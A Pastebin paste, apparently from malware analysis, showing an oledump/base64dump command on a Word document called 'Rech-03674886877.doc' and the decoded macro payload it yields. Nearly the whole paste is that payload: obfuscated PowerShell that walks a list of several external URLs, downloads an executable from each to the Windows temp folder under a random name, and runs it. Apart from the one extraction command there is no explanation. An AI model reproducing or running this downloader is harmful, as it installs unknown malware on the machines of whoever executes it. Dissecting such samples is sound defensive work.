Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $./oledump.py -M Rech-03674886877.doc | ./base64dump.py -n 10 -s 1 -S
- ${W`SC`RIPt} = .("{0}{2}{3}{1}"-f 'new-','t','obj','ec') -ComObject ("{1}{0}{2}{3}" -f'cript.','WS','She','ll');${wEb`CLIE`NT} = &("{1}{2}{0}{3}"-f'w-obje','n','e','ct') ("{0}{3}{2}{1}"-f'System','nt','WebClie','.Net.');${RAn`d`OM} = .("{2}{0}{1}" -f '-ob','ject','new') ("{0}{1}"-f 'ran','dom');${U`RlS} = ("{47}{29}{8}{15}{21}{18}{30}{19}{25}{2}{46}{9}{14}{13}{27}{20}{38}{23}{28}{36}{45}{24}{42}{40}{43}{7}{44}{10}{5}{4}{37}{6}{22}{12}{11}{26}{16}{17}{0}{32}{3}{1}{31}{35}{33}{34}{39}{41}"-f 'gvPKF','tt','a/,http://','h','yo','od','da','r/','icon','ec','/nub','o','las.c','t.com','tivei','s','F','wJS','r','iones','/zr','t','l','I','p://port','.com.ar/hSXtmLuu','m/','.au','nVT/,','//ag','ucc','p:/','/,','we','b.id/','/ditya.','ht','f','MG','pM','en.','aWn/','sev','com.b','AEVHV/,http:/','t','eff','http:').("{0}{1}" -f'Spl','it').Invoke(',');${nA`me} = ${R`AnDoM}.("{0}{1}"-f'nex','t').Invoke(1, 65536);${PA`Th} = ${EnV`:`TEmp} + '\' + ${na`ME} + ("{1}{0}" -f'xe','.e');foreach(${U`RL} in ${UR`lS}){try{${W`EBCL`IeNt}.("{0}{1}{2}" -f'Dow','nlo','adFile').Invoke(${U`Rl}.("{0}{1}"-f'T','oString').Invoke(), ${p`ATh});.("{1}{2}{4}{0}{3}" -f'roce','S','tart-','ss','P') ${P`ATh};break;}catch{.("{1}{3}{0}{2}"-f 'os','wr','t','ite-h') ${_}."EX`CEpT`iOn"."meSS`A`ge";}}
Add Comment
Please, Sign In to add comment
